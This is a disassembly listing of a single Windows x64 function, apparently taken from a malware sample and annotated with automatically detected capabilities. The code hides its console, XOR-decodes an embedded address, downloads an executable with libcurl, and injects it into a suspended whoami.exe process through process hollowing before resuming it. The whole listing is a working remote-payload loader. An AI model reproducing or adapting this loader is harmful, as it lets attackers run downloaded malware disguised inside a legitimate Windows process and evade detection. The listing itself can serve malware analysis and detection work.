Function at 0x140001160
Capabilities:
Create process on windows
Create process suspended
Encode data using xor
Resume thread
Terminate process
Use process replacement

Disassembly:
push rbp
push rbx
push rsi
lea rbp, [rsp - 0x520]
sub rsp, 0x620
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x1400033c8]
xor ebx, ebx
cmp dword [0x140005058], 2
mov r8d, ebx
movups xmm0, xmmword [str.XEFCG]
mov dword [rbp + 0x478], eax
movups xmm1, xmmword [0x1400033b8]
movzx eax, word [0x1400033cc]
movups xmmword [rbp + 0x458], xmm0
mov word [rbp + 0x47c], ax
movups xmmword [rbp + 0x468], xmm1
jl 0x140001311
movdqa xmm0, xmmword [0x140003400]
lea rcx, [rbp + 0x45c]
movdqa xmm4, xmmword [0x1400033d0]
movdqa xmm3, xmmword [0x140003410]
movdqa xmm5, xmmword [str.1111]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movaps xmmword [rsp + 0x600], xmm6
movdqa xmm6, xmmword [0x1400033f0]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm4
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x140001220
movaps xmm6, xmmword [rsp + 0x600]
cmp r8d, 0x26
jge 0x140001351
movsxd rax, r8d
lea r9, [rbp + 0x458]
add r9, rax
nop
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x26
jl 0x140001320
mov ecx, 1
mov qword [rsp + 0x640], rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, 3
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x70], rax
call qword [sym.imp.libcurl.dll_curl_global_init]
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rsi, rax
test rax, rax
je 0x14000144d
lea r8, [rbp + 0x458]
mov edx, 0x2712
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x1400010c0]
mov edx, 0x4e2b
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [rsp + 0x70]
mov edx, 0x2711
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, str.libcurl_agent_1.0
mov edx, 0x2722
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
xor r8d, r8d
mov edx, 0x40
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
xor r8d, r8d
mov edx, 0x51
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_perform]
test eax, eax
je 0x140001444
mov ecx, eax
call qword [sym.imp.libcurl.dll_curl_easy_strerror]
mov ecx, 2
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rdi
lea rdx, str.curl_easy_perform___failed:__s_n
mov rcx, rax
call fcn.140001010
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov qword [rsp + 0x70], rbx
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
call qword [sym.imp.libcurl.dll_curl_global_cleanup]
mov rsi, qword [rsp + 0x70]
test rsi, rsi
je 0x1400018d9
movsxd rax, dword [rsi + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400018d9
xorps xmm0, xmm0
mov dword [rbp + 0x480], 0x68
xor eax, eax
lea rcx, str.C:WindowsSystem32whoami.exe
mov dword [rbp + 0x4e4], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x480]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
movups xmmword [rbp + 0x484], xmm0
movups xmmword [rbp + 0x494], xmm0
movups xmmword [rbp + 0x4a4], xmm0
movups xmmword [rbp + 0x4b4], xmm0
movups xmmword [rbp + 0x4c4], xmm0
movups xmmword [rbp + 0x4d4], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400018d9
mov rcx, qword [rsp + 0x50]
lea rdx, [rbp + 0x450]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
mov qword [rsp + 0x68], rbx
cmp dword [rbp + 0x450], ebx
je 0x140001580
mov r8d, 0x2c8
lea rcx, [rbp - 0x7c]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x24]
lea r8, [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
add edx, 8
mov r9d, 4
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000157b
mov rcx, rbx
mov rax, rbx
jmp 0x1400015dd
mov eax, dword [rbp + 0x24]
jmp 0x1400015d8
mov r8d, 0x4d0
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x50], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 8]
lea r8, [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1400015d4
mov rcx, rbx
mov rax, rbx
jmp 0x1400015dd
mov rax, qword [rbp + 8]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400018a9
test rax, rax
je 0x1400018a9
movsxd rdi, dword [rsi + 0x3c]
mov eax, ebx
add rdi, rsi
mov edx, 0x10b
movzx ecx, word [rdi + 0x18]
cmp cx, dx
sete al
cmp eax, dword [rbp + 0x450]
jne 0x1400018a9
mov r8d, dword [rdi + 0x50]
cmp cx, dx
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov qword [rsp + 0x648], r12
mov qword [rsp + 0x650], r13
mov qword [rsp + 0x618], r14
mov qword [rsp + 0x610], r15
mov dword [rsp + 0x20], 0x40
jne 0x140001758
mov edx, dword [rdi + 0x34]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x140001861
mov r9d, dword [rdi + 0x54]
mov r8, rsi
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001861
mov r14d, ebx
cmp bx, word [rdi + 6]
jae 0x1400016e3
mov r15, rbx
nop word [rax + rax]
movzx eax, word [rdi + 0x14]
mov rcx, qword [rsp + 0x50]
add rax, r15
mov qword [rsp + 0x20], rbx
mov r8d, dword [rax + rdi + 0x2c]
mov edx, dword [rax + rdi + 0x24]
add r8, rsi
mov r9d, dword [rax + rdi + 0x28]
add rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001861
movzx eax, word [rdi + 6]
inc r14d
add r15, 0x28
cmp r14d, eax
jl 0x1400016a0
xor edx, edx
lea rcx, [rbp - 0x7c]
mov r8d, 0x2c8
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140001861
mov edx, dword [rbp + 0x24]
lea r8, [rdi + 0x34]
mov rcx, qword [rsp + 0x50]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001861
mov ecx, dword [rdi + 0x28]
lea rdx, [rbp - 0x80]
add ecx, r12d
mov dword [rbp + 0x30], ecx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
jmp 0x14000184d
mov rdx, qword [rdi + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x140001861
mov r9d, dword [rdi + 0x54]
mov r8, rsi
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001861
mov r14d, ebx
cmp bx, word [rdi + 6]
jae 0x1400017e3
mov r15, rbx
nop dword [rax]
movzx eax, word [rdi + 0x14]
mov rcx, qword [rsp + 0x50]
add rax, r15
mov qword [rsp + 0x20], rbx
mov r8d, dword [rax + rdi + 0x2c]
mov edx, dword [rax + rdi + 0x24]
add r8, rsi
mov r9d, dword [rax + rdi + 0x28]
add rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001861
movzx eax, word [rdi + 6]
inc r14d
add r15, 0x28
cmp r14d, eax
jl 0x1400017a0
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x50], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140001861
mov rdx, qword [rbp + 8]
lea r8, [rdi + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001861
mov eax, dword [rdi + 0x28]
lea rdx, [rbp - 0x80]
mov rcx, qword [rsp + 0x58]
add rax, r12
mov qword [rbp], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140001861
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov ebx, 1
mov r15, qword [rsp + 0x610]
mov r14, qword [rsp + 0x618]
mov r13, qword [rsp + 0x650]
mov r12, qword [rsp + 0x648]
mov rcx, qword [rsp + 0x58]
test ebx, ebx
je 0x1400018ae
test rcx, rcx
je 0x140001895
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1400018a5
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400018de
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1400018b9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1400018d9
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
mov rdi, qword [rsp + 0x640]
mov rcx, qword [rbp + 0x4f0]
xor rcx, rsp
call fcn.140001910
add rsp, 0x620
pop rsi
pop rbx
pop rbp
ret